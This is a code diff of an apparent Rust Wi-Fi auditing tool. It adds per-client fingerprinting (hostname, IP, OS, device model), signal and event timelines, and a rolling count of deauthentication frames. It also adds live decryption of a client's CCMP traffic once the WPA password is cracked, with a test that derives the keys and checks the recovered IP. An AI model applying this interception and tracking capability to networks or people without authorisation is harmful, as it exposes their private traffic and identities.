}
|
||||
}
|
||||
}
|
||||
@@ -4,7 +4,7 @@
|
||||
use crate::dot11::{self, FrameKind, Security};
|
||||
use crate::handshake::{Handshake, HandshakeInfo, HandshakeTracker};
|
||||
use crate::radiotap::{self, Band};
|
||||
use std::collections::HashMap;
|
||||
use std::collections::{HashMap, VecDeque};
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
@@ -19,7 +19,21 @@ pub struct AccessPoint {
|
||||
pub cipher: Option<String>,
|
||||
pub akm: Vec<String>,
|
||||
pub pmf: bool,
|
||||
pub pmf_required: bool,
|
||||
pub wps: bool,
|
||||
pub wps_locked: Option<bool>,
|
||||
pub wps_version: Option<String>,
|
||||
pub wps_manufacturer: Option<String>,
|
||||
pub wps_model: Option<String>,
|
||||
pub wps_model_number: Option<String>,
|
||||
pub wps_device_name: Option<String>,
|
||||
pub wps_serial: Option<String>,
|
||||
pub vendor: Option<String>,
|
||||
pub country: Option<String>,
|
||||
pub phy: Vec<String>,
|
||||
pub width_mhz: Option<u16>,
|
||||
pub beacon_interval: Option<u16>,
|
||||
pub privacy: bool,
|
||||
pub signal_dbm: Option<i8>,
|
||||
pub max_signal_dbm: Option<i8>,
|
||||
pub beacons: u64,
|
||||
@@ -29,9 +43,33 @@ pub struct AccessPoint {
|
||||
pub last_seen_unix: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
pub struct SignalSample {
|
||||
pub t: u64,
|
||||
pub dbm: i8,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
pub struct ClientEvent {
|
||||
pub t: u64,
|
||||
pub kind: String,
|
||||
pub detail: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
pub struct Client {
|
||||
pub mac: String,
|
||||
/// Nome curto para exibir: hostname, nome WPS, modelo ou fabricante.
|
||||
pub display_name: Option<String>,
|
||||
pub vendor: Option<String>,
|
||||
pub manufacturer: Option<String>,
|
||||
pub model: Option<String>,
|
||||
pub device_name: Option<String>,
|
||||
pub hostname: Option<String>,
|
||||
pub ip: Option<String>,
|
||||
pub os: Option<String>,
|
||||
pub device: Option<String>,
|
||||
pub random_mac: bool,
|
||||
pub bssid: Option<String>,
|
||||
pub signal_dbm: Option<i8>,
|
||||
pub max_signal_dbm: Option<i8>,
|
||||
@@ -40,6 +78,11 @@ pub struct Client {
|
||||
pub associated: bool,
|
||||
pub first_seen_unix: u64,
|
||||
pub last_seen_unix: u64,
|
||||
/// Amostras de sinal (mais antiga primeiro), limitadas para não crescer
|
||||
/// sem fim numa captura longa.
|
||||
pub signal_history: Vec<SignalSample>,
|
||||
/// Linha do tempo curta: primeiro visto, probe, associação, desautenticação.
|
||||
pub events: Vec<ClientEvent>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default)]
|
||||
@@ -58,6 +101,17 @@ pub struct ScanSnapshot {
|
||||
pub access_points: Vec<AccessPoint>,
|
||||
pub clients: Vec<Client>,
|
||||
pub handshakes: Vec<HandshakeInfo>,
|
||||
pub analysis: crate::analysis::Analysis,
|
||||
/// Preenchido quando a captura morreu sozinha (erro de I/O, adaptador
|
||||
/// caiu da USB, etc.) — `running` já vem `false` nesse caso, mas sem
|
||||
/// isso a UI não tinha como dizer *por quê* parou.
|
||||
pub error: Option<String>,
|
||||
/// Preenchido quando a captura está rodando mas não recebeu nenhum
|
||||
/// quadro depois de um tempo razoável saltando canais — sintoma de uma
|
||||
/// placa que aceita ativar o modo monitor (o netlink não recusa) mas não
|
||||
/// entrega quadro nenhum de verdade. Comum em placas Wi-Fi internas de
|
||||
/// notebook; diferente de `error`, a sessão continua `running`.
|
||||
pub warning: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default, serde::Serialize)]
|
||||
@@ -78,6 +132,7 @@ pub struct ScanTable {
|
||||
frames: u64,
|
||||
eapol_frames: u64,
|
||||
deauth_frames: u64,
|
||||
deauth_times: VecDeque<u64>,
|
||||
}
|
||||
|
||||
impl ScanTable {
|
||||
@@ -129,7 +184,21 @@ impl ScanTable {
|
||||
cipher: None,
|
||||
akm: Vec::new(),
|
||||
pmf: false,
|
||||
pmf_required: false,
|
||||
wps: false,
|
||||
wps_locked: None,
|
||||
wps_version: None,
|
||||
wps_manufacturer: None,
|
||||
wps_model: None,
|
||||
wps_model_number: None,
|
||||
wps_device_name: None,
|
||||
wps_serial: None,
|
||||
vendor: crate::oui::vendor(&bssid).map(str::to_string),
|
||||
country: None,
|
||||
phy: Vec::new(),
|
||||
width_mhz: None,
|
||||
beacon_interval: None,
|
||||
privacy: false,
|
||||
signal_dbm: None,
|
||||
max_signal_dbm: None,
|
||||
beacons: 0,
|
||||
@@ -155,7 +224,24 @@ impl ScanTable {
|
||||
ap.cipher = info.cipher.clone();
|
||||
ap.akm = info.akm.clone();
|
||||
ap.pmf = info.pmf;
|
||||
ap.pmf_required = info.pmf_required;
|
||||
ap.wps = info.wps;
|
||||
if info.wps {
|
||||
ap.wps_locked = info.wps_locked;
|
||||
ap.wps_version = info.wps_version.clone();
|
||||
ap.wps_manufacturer = info.wps_manufacturer.clone();
|
||||
ap.wps_model = info.wps_model.clone();
|
||||
ap.wps_model_number = info.wps_model_number.clone();
|
||||
ap.wps_device_name = info.wps_device_name.clone();
|
||||
ap.wps_serial = info.wps_serial.clone();
|
||||
}
|
||||
ap.country = info.country.clone().or(ap.country.take());
|
||||
if !info.phy.is_empty() {
|
||||
ap.phy = info.phy.clone();
|
||||
}
|
||||
ap.width_mhz = info.width_mhz.or(ap.width_mhz);
|
||||
ap.beacon_interval = info.beacon_interval.or(ap.beacon_interval);
|
||||
ap.privacy = info.privacy;
|
||||
ap.signal_dbm = rt.signal_dbm;
|
||||
if let Some(sig) = rt.signal_dbm {
|
||||
ap.max_signal_dbm = Some(ap.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
||||
@@ -174,11 +260,19 @@ impl ScanTable {
|
||||
let info = frame.management_info();
|
||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||
c.packets += 1;
|
||||
apply_management_identity(c, &info);
|
||||
if let Some(ssid) = info.ssid.filter(|s| !s.is_empty()) {
|
||||
if !c.probes.contains(&ssid) {
|
||||
c.probes.push(ssid);
|
||||
c.probes.push(ssid.clone());
|
||||
c.events.push(ClientEvent {
|
||||
t: now,
|
||||
kind: "probe".into(),
|
||||
detail: Some(ssid),
|
||||
});
|
||||
trim_events(c);
|
||||
}
|
||||
}
|
||||
refresh_identity(c);
|
||||
}
|
||||
FrameKind::AssociationRequest => {
|
||||
let client = frame.src_str();
|
||||
@@ -187,10 +281,22 @@ impl ScanTable {
|
||||
.map(|m| dot11::mac_to_string(&m))
|
||||
.or_else(|| frame.bssid_str());
|
||||
if let (Some(client), Some(bssid)) = (client, bssid) {
|
||||
let info = frame.management_info();
|
||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||
c.packets += 1;
|
||||
apply_management_identity(c, &info);
|
||||
refresh_identity(c);
|
||||
let was = c.associated;
|
||||
c.bssid = Some(bssid.clone());
|
||||
c.associated = true;
|
||||
if !was {
|
||||
c.events.push(ClientEvent {
|
||||
t: now,
|
||||
kind: "associate".into(),
|
||||
detail: Some(bssid.clone()),
|
||||
});
|
||||
trim_events(c);
|
||||
}
|
||||
if let Some(ap) = self.aps.get_mut(&bssid) {
|
||||
if !ap.clients.contains(&client) {
|
||||
ap.clients.push(client);
|
||||
@@ -211,10 +317,43 @@ impl ScanTable {
|
||||
};
|
||||
if let (Some(client), Some(bssid)) = (client.clone(), bssid.clone()) {
|
||||
if client != bssid {
|
||||
// Calculado antes do touch_client: a TK vem de self.handshakes, e
|
||||
// o borrow checker não deixa consultar isso com `c` (borrow de
|
||||
// self.clients) vivo ao mesmo tempo.
|
||||
let tk = (frame.protected && frame.to_ds && !frame.from_ds)
|
||||
.then(|| self.handshakes.tk_for(&bssid, &client))
|
||||
.flatten();
|
||||
let c = self.touch_client(&client, now, rt.signal_dbm);
|
||||
c.packets += 1;
|
||||
if frame.to_ds && !frame.from_ds {
|
||||
if frame.protected {
|
||||
// Só decifra se já quebramos a senha e vimos o handshake
|
||||
// DESSE cliente — a PTK é por associação, então a senha da
|
||||
// rede sozinha não abre tráfego de quem não foi capturado.
|
||||
if let Some(plain) = tk.and_then(|tk| frame.ccmp_payload(&tk)) {
|
||||
let payload = dot11::payload_info_from_llc(&plain);
|
||||
apply_payload_identity(c, &payload);
|
||||
}
|
||||
} else {
|
||||
let payload = frame.payload_info();
|
||||
apply_payload_identity(c, &payload);
|
||||
}
|
||||
}
|
||||
// Sempre recalcula o nome de exibição, mesmo em quadros AP→estação
|
||||
// (downlink): sem isso, um cliente só visto recebendo dados nunca
|
||||
// ganhava o fallback para o fabricante (OUI), ficando só com o MAC.
|
||||
refresh_identity(c);
|
||||
let was = c.associated;
|
||||
c.bssid = Some(bssid.clone());
|
||||
c.associated = true;
|
||||
if !was {
|
||||
c.events.push(ClientEvent {
|
||||
t: now,
|
||||
kind: "associate".into(),
|
||||
detail: Some(bssid.clone()),
|
||||
});
|
||||
trim_events(c);
|
||||
}
|
||||
if let Some(ap) = self.aps.get_mut(&bssid) {
|
||||
ap.data_frames += 1;
|
||||
if !ap.clients.contains(&client) {
|
||||
@@ -238,6 +377,14 @@ impl ScanTable {
|
||||
}
|
||||
FrameKind::Deauth | FrameKind::Disassoc => {
|
||||
self.deauth_frames += 1;
|
||||
self.deauth_times.push_back(now);
|
||||
while self
|
||||
.deauth_times
|
||||
.front()
|
||||
.is_some_and(|t| now.saturating_sub(*t) > 60)
|
||||
{
|
||||
self.deauth_times.pop_front();
|
||||
}
|
||||
event.deauth = true;
|
||||
let a1 = frame.addr1.map(|m| dot11::mac_to_string(&m));
|
||||
let a2 = frame.addr2.map(|m| dot11::mac_to_string(&m));
|
||||
@@ -249,6 +396,14 @@ impl ScanTable {
|
||||
};
|
||||
if let Some(client) = client {
|
||||
if let Some(c) = self.clients.get_mut(&client) {
|
||||
if c.associated {
|
||||
c.events.push(ClientEvent {
|
||||
t: now,
|
||||
kind: "deauth".into(),
|
||||
detail: bssid.clone(),
|
||||
});
|
||||
trim_events(c);
|
||||
}
|
||||
c.associated = false;
|
||||
c.last_seen_unix = now;
|
||||
}
|
||||
@@ -266,6 +421,16 @@ impl ScanTable {
|
||||
.entry(mac.to_string())
|
||||
.or_insert_with(|| Client {
|
||||
mac: mac.to_string(),
|
||||
display_name: None,
|
||||
vendor: crate::oui::vendor(mac).map(str::to_string),
|
||||
manufacturer: None,
|
||||
model: None,
|
||||
device_name: None,
|
||||
hostname: None,
|
||||
ip: None,
|
||||
os: None,
|
||||
device: None,
|
||||
random_mac: is_random_mac(mac),
|
||||
bssid: None,
|
||||
signal_dbm: None,
|
||||
max_signal_dbm: None,
|
||||
@@ -274,15 +439,49 @@ impl ScanTable {
|
||||
associated: false,
|
||||
first_seen_unix: now,
|
||||
last_seen_unix: now,
|
||||
signal_history: Vec::new(),
|
||||
events: vec![ClientEvent {
|
||||
t: now,
|
||||
kind: "first_seen".into(),
|
||||
detail: None,
|
||||
}],
|
||||
});
|
||||
c.last_seen_unix = now;
|
||||
c.signal_dbm = signal;
|
||||
if let Some(sig) = signal {
|
||||
c.max_signal_dbm = Some(c.max_signal_dbm.map_or(sig, |m| m.max(sig)));
|
||||
let should_push = c
|
||||
.signal_history
|
||||
.last()
|
||||
.map_or(true, |s| s.t != now || s.dbm != sig);
|
||||
if should_push {
|
||||
c.signal_history.push(SignalSample { t: now, dbm: sig });
|
||||
if c.signal_history.len() > 60 {
|
||||
let drop = c.signal_history.len() - 60;
|
||||
c.signal_history.drain(0..drop);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Já dá o fallback pro fabricante (OUI) desde o primeiro avistamento,
|
||||
// antes de qualquer quadro de gerenciamento/dados chegar a chamar
|
||||
// refresh_identity de novo.
|
||||
if c.display_name.is_none() {
|
||||
refresh_identity(c);
|
||||
}
|
||||
c
|
||||
}
|
||||
|
||||
pub fn analysis(&self) -> crate::analysis::Analysis {
|
||||
let now = unix_now();
|
||||
let aps = self.access_points();
|
||||
let deauth = self.deauth_times.len() as u32;
|
||||
crate::analysis::analyze(&aps, deauth, now)
|
||||
}
|
||||
|
||||
pub fn deauth_60s(&self) -> u32 {
|
||||
self.deauth_times.len() as u32
|
||||
}
|
||||
|
||||
pub fn access_points(&self) -> Vec<AccessPoint> {
|
||||
let mut v: Vec<_> = self.aps.values().cloned().collect();
|
||||
v.sort_by(|a, b| {
|
||||
@@ -337,6 +536,102 @@ impl ScanTable {
|
||||
}
|
||||
}
|
||||
|
||||
fn is_random_mac(mac: &str) -> bool {
|
||||
let Some(first) = mac.split(':').next() else {
|
||||
return false;
|
||||
};
|
||||
u8::from_str_radix(first, 16)
|
||||
.map(|b| b & 0x02 != 0 && b & 0x01 == 0)
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
fn apply_management_identity(c: &mut Client, info: &dot11::ManagementInfo) {
|
||||
if let Some(name) = info.wps_device_name.as_deref().filter(|s| !s.is_empty()) {
|
||||
c.device_name = Some(name.to_string());
|
||||
}
|
||||
if let Some(manufacturer) = info.wps_manufacturer.as_deref().filter(|s| !s.is_empty()) {
|
||||
c.manufacturer = Some(manufacturer.to_string());
|
||||
}
|
||||
if let Some(model) = info.wps_model.as_deref().filter(|s| !s.is_empty()) {
|
||||
c.model = Some(model.to_string());
|
||||
}
|
||||
if let Some(hint) = c.device_name.as_deref().or(c.model.as_deref()) {
|
||||
if let Some(device) = dot11::device_from_text(hint) {
|
||||
c.device = Some(device);
|
||||
}
|
||||
if let Some(os) = dot11::os_from_text(hint) {
|
||||
c.os = Some(os);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn apply_payload_identity(c: &mut Client, info: &dot11::PayloadInfo) {
|
||||
if let Some(ip) = &info.ip {
|
||||
c.ip = Some(ip.clone());
|
||||
}
|
||||
if let Some(hostname) = &info.hostname {
|
||||
if !hostname.is_empty() {
|
||||
c.hostname = Some(hostname.clone());
|
||||
}
|
||||
}
|
||||
if let Some(manufacturer) = &info.manufacturer {
|
||||
c.manufacturer = c.manufacturer.take().or_else(|| Some(manufacturer.clone()));
|
||||
}
|
||||
if let Some(model) = &info.model {
|
||||
c.model = Some(model.clone());
|
||||
}
|
||||
if let Some(os) = &info.os {
|
||||
c.os = Some(os.clone());
|
||||
}
|
||||
if let Some(device) = &info.device {
|
||||
c.device = Some(device.clone());
|
||||
}
|
||||
if let Some(hint) = c.hostname.as_deref().or(c.device_name.as_deref()) {
|
||||
if c.os.is_none() {
|
||||
c.os = dot11::os_from_text(hint);
|
||||
}
|
||||
if c.device.is_none() {
|
||||
c.device = dot11::device_from_text(hint);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn refresh_identity(c: &mut Client) {
|
||||
if c.manufacturer.is_none() {
|
||||
c.manufacturer = c.vendor.clone();
|
||||
}
|
||||
if c.os.is_none() {
|
||||
c.os = c
|
||||
.hostname
|
||||
.as_deref()
|
||||
.or(c.device_name.as_deref())
|
||||
.or(c.model.as_deref())
|
||||
.and_then(dot11::os_from_text);
|
||||
}
|
||||
if c.device.is_none() {
|
||||
c.device = c
|
||||
.hostname
|
||||
.as_deref()
|
||||
.or(c.device_name.as_deref())
|
||||
.or(c.model.as_deref())
|
||||
.and_then(dot11::device_from_text);
|
||||
}
|
||||
c.display_name = c
|
||||
.hostname
|
||||
.clone()
|
||||
.or_else(|| c.device_name.clone())
|
||||
.or_else(|| c.model.clone())
|
||||
.or_else(|| c.manufacturer.clone());
|
||||
}
|
||||
|
||||
fn trim_events(c: &mut Client) {
|
||||
const MAX: usize = 40;
|
||||
if c.events.len() > MAX {
|
||||
let drop = c.events.len() - MAX;
|
||||
c.events.drain(0..drop);
|
||||
}
|
||||
}
|
||||
|
||||
fn security_label(s: Security) -> String {
|
||||
match s {
|
||||
Security::Open => "Open".into(),
|
||||
@@ -469,4 +764,12 @@ mod tests {
|
||||
assert_eq!(table.stats().deauth_frames, 1);
|
||||
assert!(!table.clients()[0].associated);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn flags_locally_administered_macs() {
|
||||
assert!(is_random_mac("5a:0d:93:04:cf:90"));
|
||||
assert!(is_random_mac("02:11:22:33:44:55"));
|
||||
assert!(!is_random_mac("00:11:22:33:44:55"));
|
||||
assert!(!is_random_mac("ff:ff:ff:ff:ff:ff"));
|
||||
}
|
||||
}
|
||||
@@ -25,11 +25,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
|
||||
f[1] = EAPOL_TYPE_KEY;
|
||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||
f[4] = 2;
|
||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
||||
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||
f[17..49].copy_from_slice(&nonce);
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||
f
|
||||
}
|
||||
@@ -205,6 +205,7 @@ pub fn synthetic_handshake(
|
||||
first_seen_unix: 1,
|
||||
last_seen_unix: 2,
|
||||
password: None,
|
||||
tk: None,
|
||||
};
|
||||
// Exercita o parser de MAC do alvo.
|
||||
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
||||
|
||||
@@ -37,11 +37,11 @@ pub fn key_frame(message: u8, keyver: u8, nonce: [u8; 32], key_data: &[u8]) -> V
|
||||
f[1] = EAPOL_TYPE_KEY;
|
||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||
f[4] = 2;
|
||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
||||
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||
f[17..49].copy_from_slice(&nonce);
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||
f
|
||||
}
|
||||
@@ -231,6 +231,7 @@ pub fn synthetic_handshake(
|
||||
first_seen_unix: 1,
|
||||
last_seen_unix: 2,
|
||||
password: None,
|
||||
tk: None,
|
||||
};
|
||||
// Exercita o parser de MAC do alvo.
|
||||
assert!(dot11::parse_mac(&hs.bssid).is_some());
|
||||
|
||||
@@ -67,6 +67,98 @@ fn hidden_ssid_beacon_is_marked_hidden() {
|
||||
assert!(aps[0].hidden);
|
||||
}
|
||||
|
||||
/// Depois que a senha de uma rede WPA2/CCMP é conhecida (quebrada), o
|
||||
/// tráfego de dados do cliente cujo handshake foi capturado passa a ser
|
||||
/// decifrado em tempo real pelo pipeline de ingestão — e a identidade
|
||||
/// (aqui, o IP de origem, que exercita o parser de IPv4 por trás do LLC)
|
||||
/// aparece mesmo com o bit "Protected" ligado.
|
||||
#[test]
|
||||
fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
|
||||
use sabia_core::crack::{compute_ptk, derive_pmk};
|
||||
|
||||
let mut table = ScanTable::new();
|
||||
let ssid = "RedeCifrada";
|
||||
let password = "senha-correta";
|
||||
|
||||
let beacon = common::beacon_frame(common::ap(), ssid, 6, &[2]);
|
||||
table.ingest(&common::radiotap_wrap(&beacon, 2437, -35));
|
||||
|
||||
let (f1, f2) = common::handshake_radiotap_frames(ssid, password, 2, false);
|
||||
table.ingest(&f1);
|
||||
table.ingest(&f2);
|
||||
|
||||
let bssid_str = sabia_core::dot11::mac_to_string(&common::ap());
|
||||
let station_str = sabia_core::dot11::mac_to_string(&common::sta());
|
||||
table.set_password(&bssid_str, &station_str, password);
|
||||
|
||||
// A TK derivada pelo pipeline tem que bater com a calculada à parte, com
|
||||
// os mesmos nonces fixos (0xaa/0xbb) que handshake_radiotap_frames usa.
|
||||
let anonce = [0xaa; 32];
|
||||
let snonce = [0xbb; 32];
|
||||
let pmk = derive_pmk(password, ssid);
|
||||
let ptk = compute_ptk(&pmk, &common::ap(), &common::sta(), &anonce, &snonce);
|
||||
let expected_tk: [u8; 16] = ptk[32..48].try_into().unwrap();
|
||||
let hs = table
|
||||
.handshake(&bssid_str, &station_str)
|
||||
.expect("handshake presente");
|
||||
assert_eq!(
|
||||
hs.tk,
|
||||
Some(expected_tk),
|
||||
"TK deveria ser derivada ao quebrar a senha"
|
||||
);
|
||||
|
||||
// Monta um quadro QoS Data, STA->AP, protegido, com CCMP header (PN=1,
|
||||
// ExtIV ligado) e cifra um payload LLC/SNAP+IPv4 "na mão" — o CTR do
|
||||
// CCMP é simétrico, então usar decrypt_data pra cifrar é válido aqui.
|
||||
let llc_ipv4 = {
|
||||
let mut v = vec![0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00];
|
||||
let mut ip = vec![
|
||||
0x45, 0x00, 0x00, 20, 0x00, 0x00, 0x00, 0x00, 64, 17, 0x00, 0x00,
|
||||
];
|
||||
ip.extend_from_slice(&[192, 168, 1, 50]); // origem privada
|
||||
ip.extend_from_slice(&[192, 168, 1, 1]); // destino
|
||||
v.extend_from_slice(&ip);
|
||||
v
|
||||
};
|
||||
let ccmp_header = [0x01u8, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00]; // PN=1, ExtIV
|
||||
let mut to_cipher = Vec::new();
|
||||
to_cipher.extend_from_slice(&ccmp_header);
|
||||
to_cipher.extend_from_slice(&llc_ipv4);
|
||||
to_cipher.extend_from_slice(&[0u8; 8]); // placeholder pro MIC, ignorado
|
||||
let ciphertext = sabia_core::ccmp::decrypt_data(&expected_tk, &common::sta(), 0, &to_cipher)
|
||||
.expect("cifra via CTR simétrico");
|
||||
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(&ccmp_header);
|
||||
body.extend_from_slice(&ciphertext);
|
||||
body.extend_from_slice(&[0u8; 8]); // MIC cifrado — não conferido na decriptação
|
||||
|
||||
let mut frame = Vec::new();
|
||||
let fc: u16 = 0x0088 | 0x0100 | 0x4000; // QoS Data, to_ds, protected
|
||||
frame.extend_from_slice(&fc.to_le_bytes());
|
||||
frame.extend_from_slice(&0u16.to_le_bytes()); // duration
|
||||
frame.extend_from_slice(&common::ap()); // addr1 = BSSID
|
||||
frame.extend_from_slice(&common::sta()); // addr2 = transmissor (estação)
|
||||
frame.extend_from_slice(&common::ap()); // addr3 = destino (irrelevante aqui)
|
||||
frame.extend_from_slice(&[0u8; 2]); // sequence control
|
||||
frame.extend_from_slice(&[0u8; 2]); // QoS control, TID 0
|
||||
frame.extend_from_slice(&body);
|
||||
|
||||
let ev = table.ingest_at(&common::radiotap_wrap(&frame, 2437, -45), 30);
|
||||
assert!(!ev.eapol, "não é um quadro EAPOL");
|
||||
|
||||
let clients = table.clients();
|
||||
let client = clients
|
||||
.iter()
|
||||
.find(|c| c.mac == station_str)
|
||||
.expect("cliente deveria ter sido visto");
|
||||
assert_eq!(
|
||||
client.ip.as_deref(),
|
||||
Some("192.168.1.50"),
|
||||
"o IP só aparece se o CCMP foi decifrado corretamente"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pmkid_only_handshake_is_detected_and_crackable() {
|
||||
let mut table = ScanTable::new();
|
||||
|
||||
Reference in new issue
Block a user